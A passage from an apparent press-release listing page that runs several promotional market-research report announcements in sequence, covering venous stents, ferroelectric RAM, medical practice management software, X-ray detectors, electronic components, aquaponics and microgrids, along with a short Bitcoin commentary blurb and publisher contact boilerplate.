Market over the forecast period. However, changing strategies and new product developments are predicted to contribute towards the growth of the Market.About Research n Reports:Research N Reports is a new age Market research firm where we focus on providing information that can be effectively applied. Today being a consumer driven Market, companies require information to deal with the complex and dynamic world of choices. Where relying on a sound board firm for your decisions becomes crucial. Research N Reports specializes in industry analysis, Market forecasts and as a result getting quality reports covering all verticals, whether be it gaining perspective on current Market conditions or being ahead in the cut throat Global competition. Since we excel at business research to help businesses grow, we also offer consulting as an extended arm to our services which only helps us gain more insight into current trends and problems. Consequently we keep evolving as an all-rounder provider of viable information under one roof.Contact us:Mr. Sunny DenisContact No. +1-888-631-6977sales@researchnreports.com(ResearchnReports)
Venous Stents Market Key Players, Size, Share, Demand and Research Report 2027

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This report on the Global Venous Stents Market analyzes the current and future scenario of the global market. Rise in private and public funding for R&D of novel venous stents, increase in prevalence of chronic venous occlusion & other symptomatic venous disorders and their improved diagnosis are boosting the growth of the Global Venous Stents market. Improved access to the deep long veins located in the iliac and femoral portion of the body, and availability of well-qualified interventional cardiologists in the developed countries are some of the factors expected to drive the growth of Global Venous Stents market during the forecast period.Click here For Free Sample Report @The venous stents report comprises an elaborate executive summary, which includes market snapshot that provides information about various segments. It also provides information and data analysis of the global market with respect to the segments based on technology, application, disease indication, and geography. A detailed qualitative analysis of drivers and restraints, and opportunities has been provided in the market overview section. Additionally, the section comprises exhaustive mapping of all the products & companies operating in the global venous stents market, to help understand the competitive landscape in the market. An overview of critical venous diseases such as May-Thurner Syndrome and Post Thrombotic Syndrome in terms of their prevalence, diagnosis, symptoms, and treatment options are provided. A brief snapshot of ongoing clinical trials in the U.S. is also provided for better understanding of venous stents scenario in the U.S. This report also provides market attractiveness and its analysis in terms of geography and market share analysis by key players, thus presenting a thorough analysis of the overall competitive scenario in the Global Venous Stents market.Global Venous Stents Market: SegmentationBased on the technology, the Venous Stents market has been segmented into Iliac vein Stent Technology, Wallstent Technology, and Others. Iliac Vein Stent Technology is considered to be a leading segment of Venous Stents market, owing to the improved access to the deep veins of iliac area. It is expected to continue to dominate the market in terms of revenue by 2025, which is attributed to the increasing investments by key players for the development of venous stents. The market size and forecast for each of these segments have been provided for the period from 2015 to 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year.Different types of applications in the Venous Stents market are Leg, Chest, Abdomen, and Arm. Legs accounted for highest market revenue in 2016, and is expected to remain leading in terms of revenue during the forecast period. The dominance is attributed to the shift of patients preference towards minimally invasive interventional procedures for the occlusion in femoral & popliteal veins.Browse Complete Report with TOC @Based on disease indication, the global Venous Stents market is segmented into 5 major segments, which are Chronic Deep Vein Thrombosis, Post Thrombotic Syndrome, May-Thurner Syndrome, Hemodialysis/Arteriovenous Fistulae, and Others. Other disease segment comprised of venous anastomosis, restenosis, and venous occlusions among others. The others segment is anticipated to lead the market during the forecast period, owing to the government participation in the control of venous disorders, and research grants by public & private players to promote the R&D of innovative venous stents.Global Venous Stents Market: Regional OutlookGeographically, the global Venous Stents has been categorized into five major regions and the key countries in the respective region: North America (U.S. and Canada), Europe (U.K., Germany, France, Spain, Italy, and Rest of Europe), Asia Pacific (India, China, Australia, and Rest of Asia Pacific), Latin America (Brazil, Mexico, and Rest of Latin America) and Middle East & Africa (South Africa, GCC Countries, Israel, and Rest of Middle East & Africa).Global Venous Stents Market: Competitive LandscapeThe report also profiles major players in the Global Venous Stents based on various attributes such as company overview, financial overview, product portfolio, business strategies, SWOT analysis, and recent developments. Major players profiled in this report include Boston Scientific Corporation, C. R. Bard, Inc., Jotec GmBH, Veniti, Inc., Gore Medical, Cook Medical, and Optimed Medizinische Instrumente GmBH.The Global Venous Stents Market has been segmented as given below:Global Venous Stents Market, by Technology,Iliac Vein Stent TechnologyWallstent TechnologyOthersGlobal Venous Stents Market, by Application,LegChestAbdomenArmGlobal Venous Stents Market, by Disease Indication,Chronic Deep Vein ThrombosisPost Thrombotic SyndromeMay-Thurner SyndromeHemodialysis/Arteriovenous FistulaeOthersGlobal Venous Stents Market, by RegionNorth AmericaS.CanadaEuropeGermanyK.FranceItalySpainRest of EuropeAsia PacificIndiaChinaAustralia & New ZealandRest of Asia PacificLatin AmericaBrazilMexicoRest of Latin AmericaMiddle East & AfricaGCC CountriesSouth AfricaIsraelRest of Middle East & AfricaEnquire about this Report @About (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
Ferroelectric RAM Market Projected to Grow at a Steady Pace During 2017  2027

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Ferroelectric random access memory (RAM), also called as FRAM, is a random access memory that combines the features of dynamic RAM (DRAM) with read-only memory (ROM) and flash memory. FRAM offers fast read and write access along with the ability to retain data even after the power supply is turned off. As against DRAM, FRAM uses a ferroelectric layer for its fabrication instead of a dielectric layer. Although the construction of FRAM is similar to that of DRAM, unlike DRAM, FRAM is non-volatile in nature. Thus, FRAM provides functionality similar to conventional flash memories.Click here For Free Sample Report @FRAM offers various advantages over DRAM, static RAM (SRAM) and other non-volatile memories. Some of the advantages include lower power requirement, faster read and write operations and high number of write and erase cycles. The FRAM requires power only when writing or reading a cell and requires no power during its idle state. Moreover, unlike the flash memories, FRAM does not require refresh process and are capable of completing a write process in much less time cycle. Since FRAM are faster than flash memories, these are expected to replace other technologies such as electrically erasable and programmable read only memory (EEPROM) and SRAM in wireless applications.Global Ferroelectric RAM Market: Drivers and RestraintsThe major driving factor for the ferroelectric RAM market is its advantages over other conventional memory technologies. Moreover, due to increasing developments in the electronic handheld devices, FRAM is expected to witness healthy demand in near future. Rising demand for fast memory operations in security systems and smart card applications is another factor contributing to the demand for ferroelectric RAM. Furthermore, ferroelectric RAM is an emerging technology and is expected to have huge potential owing to its advantages over conventional memories. Thus, vendors in the ferroelectric RAM market are increasingly investing in research and development (R&D) of ferroelectric RAM. This is expected to boost the FRAM market growth significantly in near future. Also, due to its fast operations, FRAM is likely to be used widely in data storage applications and other applications such as wireless sensors deployment. However, low density of FRAM as compared to the conventional volatile as well as non-volatile memories is a significant aspect that may hamper the growth of the ferroelectric RAM market. The storage capacity of ferroelectric RAM is much lower as against that of conventional memory. Thus, these memories are majorly used where speed of operation is more important than the data storage requirement.Global Ferroelectric RAM Market: Segmentation and Regional DynamicsFerroelectric RAM market can be segmented based on the applications, device types and geographic regions. FRAMs are used in security systems, energy meters, smart card applications, access control applications, sensor networks and others. FRAM is widely used in wireless applications and wireless sensors applications due to their high power efficiency. FRAM are used in various devices such as computer desktops, laptops, mobile devices, meters, personal digital assistant (PDA) and other handheld devices. On the basis of geography, the ferroelectric RAM market is segmented as North America, Europe, Asia Pacific and Rest of the World (RoW).Browse Complete Report with TOC @Some of the key players in the ferroelectric RAM market are Cypress Semiconductor Corporations, Texas Instruments Inc., International Business Machines (IBM) Corporation, Toshiba Corporation, Infineon Technologies Inc., LAPIS Semiconductor Co. Ltd. and Fujitsu Ltd. Fujitsu Ltd. was the first semiconductor manufacturer to build embedded ferroelectric RAM.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.The study is a source of reliable data on:Market segments and sub-segmentsMarket trends and dynamicsSupply and demandMarket sizeCurrent trends/opportunities/challengesCompetitive landscapeTechnological breakthroughsValue chain and stakeholder analysisThe regional analysis covers:North America (U.S. and Canada)Latin America (Mexico, Brazil, Peru, Chile, and others)Western Europe (Germany, U.K., France, Spain, Italy, Nordic countries, Belgium, Netherlands, Luxembourg)Eastern Europe (Poland, Russia)Asia Pacific (China, India, Japan, ASEAN, Australia and New Zealand)Middle East and Africa (GCC, Southern Africa, North Africa)The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases). The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.Highlights of the report:A complete backdrop analysis, which includes an assessment of the parent marketImportant changes in market dynamicsMarket segmentation up to the second or third levelHistorical, current, and projected size of the market from the standpoint of both value and volumeReporting and evaluation of recent industry developmentsMarket shares and strategies of key playersEmerging niche segments and regional marketsAn objective assessment of the trajectory of the marketRecommendations to companies for strengthening their foothold in the marketEnquire about this Report @About (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
Practice Management Systems Market Estimated to grow at the highest CAGR during 2017  2027

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Medical practice is defined as the science and the art of healing in accordance with scientific diagnosis of the disease. Medical practice therefore, requires significant volume of patient data which is difficult to maintain in the long run especially if its recorded in the physical form of documents and files. The entry of computer software and software systems like SaaS (Software as a Service) has greatly assisted in the overall process of patient data and medical practice data management. Medical Practice Management System (PMS) is a software that helps medical organization (or clinic) to record patient data, fix appointments with practitioners, maintain record of insurance payment companies (and contacting them when required), perform billing related tasks and generate final reports. PMS nowadays are integrated with Electronic Medical Records (EMR) that deals strictly with patient medical data (medical and treatment history) as an all inclusive data management system.Click here For Free Sample Report @PMS is designed according to the volume of data that needs to be maintained, the size of the organization and their financial capacity. Generally PMS are classified as; desktop variants for limited computers, client-server (physical servers) for large institutions with strong finance and requirement for easy access to patients confidential data, and internet server (virtual/cloud servers) for institutions that require cost saving alternatives. Software companies offer services in different price ranges varying from few hundreds to thousands of dollars depending upon aforesaid parameters. Integrated systems (EMR and PMS) are more expensive in comparison to standalone services. Some companies that provide these services are Acrendo Softwares, Allegiance MD, WRS Health, Practo Ray and Athena Health to name a few.Practice Management Systems Market: Opportunities and TrendsPMS have a great future ahead, as medical institutions worldwide see it as a better alternative to physical document records which have a very high error rate bringing into light the nature of human incompetency, that are minimized to a great extent in PMS. Also, medical errors result in severe adverse events and death, this is efficiently tackled by the presence of automated programmed software. Cost saving is another financial reason for a shift into PMS, it reduces data management costs and as a result the overall medical treatment costs. Medical insurance claims and payouts also see a positive change with fast processing times. Countries like the U.S. also offer subsidies to hospitals opting for such systems.Browse Complete Report with TOC @Practice Management Systems Market: RestraintsPMS however, is useful only as long as the personals are trained in the dynamics of the software, this requires training and practice. Many countries also have strict patient confidentiality laws, any breach or leak patient records may pose a great threat to the integrity of the whole process and shall render an institution liable for prosecution by the law. In such a situation, PMS becomes more of a liability than assistance. However, with entry of Asian software companies like Practo Ray who have developed portable android based software systems can be easily accessed and require minimum training. Cost effective alternatives are on the rise along with better algorithms to integrate the complete process of medical practice.Practice Management Systems Market: Regional InsightPMS market is expected to increase owing to the presence of virtual/cloud based service systems, these enable companies far offshore to provide services at competitive prices. Service providers are at present largely based in the North America and European region, where the demand is the highest owing to large population patients with health insurance. The PMS market in Asia-Pacific is estimated to grow at the highest CAGR owing to more number of companies establishing business in this region coupled shift in service providers from the North American region to emerging economies. Also, with greater returns on investment a large number of Asian medical institutions are now opting for PMS.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.The study is a source of reliable data on:Market segments and sub-segmentsMarket trends and dynamicsSupply and demandMarket sizeCurrent trends/opportunities/challengesCompetitive landscapeTechnological breakthroughsValue chain and stakeholder analysisThe regional analysis covers:North America (U.S. and Canada)Latin America (Mexico, Brazil, Peru, Chile, and others)Western Europe (Germany, U.K., France, Spain, Italy, Nordic countries, Belgium, Netherlands, Luxembourg)Eastern Europe (Poland, Russia)Asia Pacific (China, India, Japan, ASEAN, Australia and New Zealand)Middle East and Africa (GCC, Southern Africa, North Africa)The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases). The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.Highlights of the report:A complete backdrop analysis, which includes an assessment of the parent marketImportant changes in market dynamicsMarket segmentation up to the second or third levelHistorical, current, and projected size of the market from the standpoint of both value and volumeReporting and evaluation of recent industry developmentsMarket shares and strategies of key playersEmerging niche segments and regional marketsAn objective assessment of the trajectory of the marketRecommendations to companies for strengthening their foothold in the marketEnquire about this Report @About (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
X-Ray Detectors Market Size, Share, Demand will Grow Profitably by 2027

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X-ray Detectors are used majorly for two purposes  imaging and dose measurement. Analog X-ray systems used photographic plates and films for image detection. However, owing to a shift in technology from analog to digital X-ray systems, the photographic plates and films are rapidly replaced by digital image plates (flat panel detectors). Flat panel detectors are highly sensitive and faster than a photographic film. With improving technology and rising demand for digital X-ray systems, the X-ray detectors require more robust structure with high transmission capability and temperature endurance, and resistant to ionizing radiations.Click here For Free Sample Report @X-Ray Detectors Market: SegmentationThe global X-ray detector market is analyzed based on the different types of detectors used in the X-ray devices. This includes flat panel detectors, charge coupled device (CCD) detectors, image intensifiers, line-scan detectors and computed radiography (CR) detectors. A rapid increase in demand for digital X-ray systems has led to incorporation of newer detection technologies such as flat panel detectors and charge coupled device (CCD) detectors. Moreover, with further advancement in research, an X-ray machine can have a large area or small area flat panel detector.A difference in the size of detector matters for different applications or subjects to be scanned. Advance fluoroscopy and C-arm systems incorporate flat panel detectors. Other X-ray detectors available in the market include gas ionization detectors, scintillation, gas-filled detectors, semiconductor detectors and gas electron multiplying detectors.Further, based on the applications or end-use, the global X-ray detectors market is categorized into dental, medical, veterinary, industrial, and security applications market. Medical applications include general radiography, surgical imaging, cardiovascular imaging and mammography.X-Ray Detectors Market: DriversIncreasing prevalence of chronic disorders such as arthritis, orthopedic diseases, and respiratory diseases is driving the demand for X-ray imaging and hence the market for X-ray detectors. Moreover, increasing number of diagnostic centers worldwide fueled by growing need for early diagnosis is propelling the demand for advance X-ray systems, thus contributing to the growth of X-ray detectors market. Additionally, more time consuming, low sensitivity and the need for processing after exposure is culminating the demand for photographic films and boosting the demand for flat panel detectors and line-scan detectors.Browse Complete Report with TOC @X-Ray Detectors Market: Region-wise OutlookGeographically, the global X-ray detectors market is segmented into North America, Europe, Asia Pacific and Rest of the World. The market for X-ray detectors will be growing rapidly in the regions where the demand for X-ray systems is increasing. This basic fact marks the potential of X-ray detectors in Asia Pacific and Latin America regions where along with the demand for X-ray systems, manufacturing capacity is also increasing. Increasing adoption of digital X-ray systems is touted to fuel the demand for X-ray detectors in Asia Pacific.Further, emerging economies such as India, China, Brazil, Russia and Mexico are target markets for companies offering X-ray equipment owing to rapidly growing economy and presence of untapped opportunities in these countries. GE Healthcare bought a Brazilian X-ray equipment firm Xpro in 2012 to increase its market presence in the Latin America region.X-Ray Detectors Market: Key PlayersSome of the key players present in the global X-ray detectors market include Varian Medical Systems, PerkinElmer, Inc., Agfa Healthcare, Analogic Corporation, Canon Inc., Konica Minolta, Inc., Teledyne Technologies, Inc., Thales Group and Fujifilm Medical Systems and others. Intense competition is compelling market players to innovate in their product and marketing strategy. Teledyne Technologies, Inc. introduced two new models of X-ray detector Shad-o-Box 3K HS and Shad-o-Box 6K HS in March 2014, which utilizes latest generation CMOS X-ray technology offering higher resolution and faster imaging of objects.The research report presents a comprehensive assessment of the market and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to categories such as market segments, geographies, types and applications.The report covers exhaustive analysis on:Market SegmentsMarket DynamicsMarket SizeSupply & DemandCurrent Trends/Issues/ChallengesCompetition & Companies involvedValue ChainRegional analysis includes:North AmericaLatin AmericaAsia PacificJapanWestern EuropeEastern EuropeMiddle East & AfricaThe report is a compilation of first-hand information, qualitative and quantitative assessment by industry analysts, inputs from industry experts, and industry participants across the value chain. The report provides an in-depth analysis of parent market trends, macroeconomic indicators and governing factors, along with market attractiveness within the segments. The report also maps the qualitative impact of various market factors on market segments and various geographies.Report highlights:Detailed overview of parent marketChanging market dynamics in the industryIn-depth market segmentationHistorical, current and projected market size in terms of volume and valueRecent industry trends and developmentsCompetitive landscapeStrategies of key players and products offeredPotential and niche segments, geographical regions exhibiting promising growthA neutral perspective on market performanceMust-have information for market players to sustain and enhance their market footprintThe report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.The study is a source of reliable data on:Market segments and sub-segmentsMarket trends and dynamicsSupply and demandMarket sizeCurrent trends/opportunities/challengesCompetitive landscapeTechnological breakthroughsValue chain and stakeholder analysisThe regional analysis covers:North America (U.S. and Canada)Latin America (Mexico, Brazil, Peru, Chile, and others)Western Europe (Germany, U.K., France, Spain, Italy, Nordic countries, Belgium, Netherlands, Luxembourg)Eastern Europe (Poland, Russia)Asia Pacific (China, India, Japan, ASEAN, Australia and New Zealand)Middle East and Africa (GCC, Southern Africa, North Africa)The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases). The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.Highlights of the report:A complete backdrop analysis, which includes an assessment of the parent marketImportant changes in market dynamicsMarket segmentation up to the second or third levelHistorical, current, and projected size of the market from the standpoint of both value and volumeReporting and evaluation of recent industry developmentsMarket shares and strategies of key playersEmerging niche segments and regional marketsAn objective assessment of the trajectory of the marketRecommendations to companies for strengthening their foothold in the marketEnquire about this Report @About (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
Bitcoin Market, An Apology for Blockchain

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Decimal Point Analytics has published its weekly digest on 18 December titled Bitcoin Market, An Apology for BlockchainIn this article it has posit a question, if the ongoing frenzy for Bitcoin crashes will that eventually cause users to shy away from the underlying technology of Blockchain?Bitcoin is a currency based on blockchain and is espoused to have all the properties of blockchain and is supposed to be decentralized.However when you look closer you will realize that various operations that are being conducted in bitcoin does not make it decentralized as it claims to be. History shows us that the first application of revolutionary technology determines the public mood and policy stance toward the technology for generations to come. Bitcoin has captured the investors imagination and hence it is important that it doesnt leave a bad aftertaste.Read the full article hereDecimal Point Analytics is a financial research & analytics company incorporated in 2003 with headquarters at Mumbai. It is an independent, management owned company, which provides actionable analytics to financial services companies. It offers customized solutions to investment management businesses that address specific challenges. It enables these customers to supplement their operations with additional resources and augment research processes using Artificial Intelligence (AI) technologies like Machine Learning (ML), Natural Language Processing (NLP) and Big Data.Decimal Point Analytics has presence across 4 global locations including the United States, UK and India.Visit the website at5A, B-Wing, Trade Star Building, J. B. Nagar,Andheri-Kurla Road, Andheri (East),Mumbai- 400 059, Maharashtra, India
Interconnects and Passive Components Market - Competitive Scenario,Trends,Growth & Forecast to 2025

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Global Interconnects and Passive Components Market: OverviewAn interconnect component refers to an optical or electric connection or cable connecting two or more devices. A broad range of interconnect parts such as board to board connectors, electronic cable connectors, and DIN connectors used in a broad range of applications are offered by a number of manufacturers. Cellular phones, hubs, HVAC equipment, routers, mp3 players, GPS devices, Ethernet and other high speed connectivity applications, digital cameras, and video connections are some of the key applications that deploy interconnects components. Passive components, on the other hand, are used in applications such as computers, wireless communication, security systems, 3D printers, medical instruments, power supply circuits, handheld devices, digital thermostats, and several household appliances.Request Sample Copy of the Report @Global Interconnects and Passive Components Market: Key TrendsThe rising demand for interconnects and passive components in the thriving consumer electronics industry is a primary catalyst of the global market. Used in the production of devices and machines deployed in automobiles, healthcare, data processing, and telecommunication, these components are likely to witness greater adoption over the next few years. The market is also receiving a significant boost from the continual technological advancements in the consumer electronics industry. Moreover, the growth of the interconnect segment creates further scope of expansion for the market. The growth of this segment can be attributed to the preference for high speed bandwidth in data processing, emergence of robotics and automation across numerous sectors, and development of compact electronic components and devices.Global Interconnects and Passive Components Market: Market PotentialThe competitive scenario of the global interconnects and passive components market is marked by unceasing product launches. For instance, in March 2017, AVX Corporation announced the release of its new low pass integrated thin film SMD filter, which can be an ideal solution for various wireless applications such as global positioning systems (GPS), mobile communications systems, and wireless large area networks (LANs). The new FHC1 and FHC2 series feature low parasitics, low insertion loss, conducive heat dissipation properties, and a wide frequency range.Request TOC of the Report @Partnerships, acquisitions, and collaborations are focused on by several companies. For example, in Ixia announced its partnership with Foxconn Interconnect technology (FIT) and Cisco for demonstrating 400 Gigabit Ethernet traffic at The Optical Fiber Communication Conference and Exhibition (OFC) 2017 in Los Angeles, USA.Global Interconnects and Passive Components Market: Regional OutlookRegionally, the global interconnects and passive components market is segmented into Europe, Asia Pacific, North America, the Middle East and Africa, and Latin America. Asia Pacific exhibits colossal growth opportunities, springing from factors such as easy availability of cheap labor, raw material, along with low costs of production. The booming consumer electronics industry in the region, and particularly in China, is aiding steady growth of the market for interconnects and passive components. Moreover, with increasing per capita incomes of the middle class, the standard of living of the people has improved. This has resulted in more demand for smartphones, LED and LCD displays, and other electronic devices. North America and Europe are also slated for extensive growth, encouraged by beneficial policies of the government.Get Discount @Global Interconnects and Passive Components Market: Competitive AnalysisPanasonic Corporation, Guangzhou Copper Factory Co., Ltd., TT Electronics Plc., AVX Corporation, Celtic Chemicals Ltd, JST Mfg. Co. Ltd., E Connectivity Ltd., Hon Hai Precision Industry Co. Ltd., and Cisco Systems, Inc. are some of the prominent players operating in the global market for interconnects and passive components.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Latest Report Aquaponics Market 2017-2025 with Economic Impact and Business Strategies

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The Insight Partners has announced the addition of the Aquaponics Market 2025  Global Analysis and Forecasts report to their offering.Aquaponics is a combination of hydroponic and aquaculture systems, which grows plants and fish together in one unified system. The cycle of aquaponics includes the waste produce by fishes which is being used as organic food for plants and then these plants will naturally filter the water, which will be used for the fishes again. The rise in the demand of organic fruits and vegetables, and these systems permit agriculture to take substantial steps toward environmental sustainability are the drivers of aquaponics market.The factor that can act as a restraint in the growth of the market is the high cost of initial setup of aquaponics system and the high investment for technological system installation especially in emerging economies may hamper the aquaponics market. However, the increasing demand of enhancement in urban farming methods and off-season availability of fruits & vegetables will create new opportunities in the market of aquaponics in the forecast period.Request Sample is Available atThe Global Aquaponics Market Analysis to 2025 is a specialized and in-depth study of the aquaponics industry with a focus on the global market trend. The report aims to provide an overview of global aquaponics market with detailed market segmentation by production type, components, equipment, end user, and geography. The global aquaponics market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the leading market players and offers key trends and opportunities in the market.The report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global aquaponics market based on production type, components, equipment, and end user. It also provides market size and forecast till 2025 for overall aquaponics market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM). The market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 16 counties globally along with current trend and opportunities prevailing in the region.Aquaponics Market Key Playes1. Ultrasonics Canada Corporation2. Aquaponic Lynx LLC3. Backyard Aquaponics Pty Ltd4. ECF Farmsystems Gmbh5. Nelson & Pade Inc.6. Urban Farms AG7. Greenlife Aquaponics8. The Aquaponic Source9. My Aquaponics10. Colorado AquaponicsComplete Report is Available atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comAbout Us:The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th Floor,Amanora Chambers, East Block, Amanora Township,Kharadi Road, Hadapsar, Pune-411028
Microgrid Technology 2017 Global Industry Key Players - ABB , GE , S&C Electric Co , Siemens , General Microgrids , Microgrid Solar , Raytheon Market Analysis and Forecast to 2022

World Microgrid Technology Market

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World Microgrid Technology MarketExecutive SummaryMicrogrid Technology market research report provides the newest industry data and industry future trends, allowing you to identify the products and end users driving Revenue growth and profitability.The industry report lists the leading competitors and provides the insights strategic industry Analysis of the key factors influencing the market.The report includes the forecasts, Analysis and discussion of important industry trends, market size, market share estimates and profiles of the leading industry Players.Request a Sample Report @The Players mentioned in our reportABBGES&C Electric CoSiemensGeneral MicrogridsMicrogrid SolarRaytheonSunverge EnergyToshibaEchelonNECAquion EnergyEnStorageSGCCMoixaEnSyncAmpardGreen Energy CorpGrowing Energy Labs IncHOMER EnergySpirae, Inc.Global Microgrid Technology Market: Product Segment AnalysisGrid-Tied Type MicrogridIndependent Type MicrogridGlobal Microgrid Technology Market: Application Segment AnalysisCommercial/Industrial MicrogridCommunity/Utility MicrogridCampus/Institutional MicrogridMilitary MicrogridRemote MicrogridGlobal Microgrid Technology Market: Regional Segment AnalysisUSAEuropeJapanChinaIndiaSouth East AsiaTo enquire about this report visit @Table of Content-Key Points CoveredChapter 1 About the Microgrid Technology Industry1.1 Industry Definition and Types1.1.1 Grid-Tied Type Microgrid1.1.2 Independent Type Microgrid1.2 Main Market Activities1.3 Similar Industries1.4 Industry at a GlanceChapter 2 World Market Competition Landscape2.1 Microgrid Technology Markets by Regions2.1.1 USAMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.2 EuropeMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.3 ChinaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.4 IndiaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.5 JapanMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.1.6 South East AsiaMarket Revenue (M USD) and Growth Rate 2012-2022Sales and Growth Rate 2012-2022Major Players Revenue (M USD) in 20172.2 World Microgrid Technology Market by TypesGrid-Tied Type MicrogridIndependent Type Microgrid2.3 World Microgrid Technology Market by ApplicationsCommercial/Industrial MicrogridCommunity/Utility MicrogridCampus/Institutional MicrogridMilitary MicrogridRemote Microgrid2.4 World Microgrid Technology Market Analysis2.4.1 World Microgrid Technology Market Revenue and Growth Rate 2012-20172.4.2 World Microgrid Technology Market Consumption and Growth rate 2012-20172.4.3 World Microgrid Technology Market Price Analysis 2012-2017Chapter 3 World Microgrid Technology Market share3.1 Major Production Market share by Players3.2 Major Revenue (M USD) Market share by Players3.3 Major Production Market share by Regions in 2017, Through 20223.4 Major Revenue (M USD) Market share By Regions in 2017, Through 2022Chapter 4 Supply Chain Analysis4.1 Industry Supply chain Analysis4.2 Raw material Market Analysis4.2.1 Raw material Prices Analysis 2012-20174.2.2 Raw material Supply Market Analysis4.2 Manufacturing Equipment Suppliers Analysis4.3 Production Process Analysis4.4 Production Cost Structure Benchmarks4.5 End users Market AnalysisContinued..Buy Report@Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.WISE GUY RESEARCH CONSULTANTS 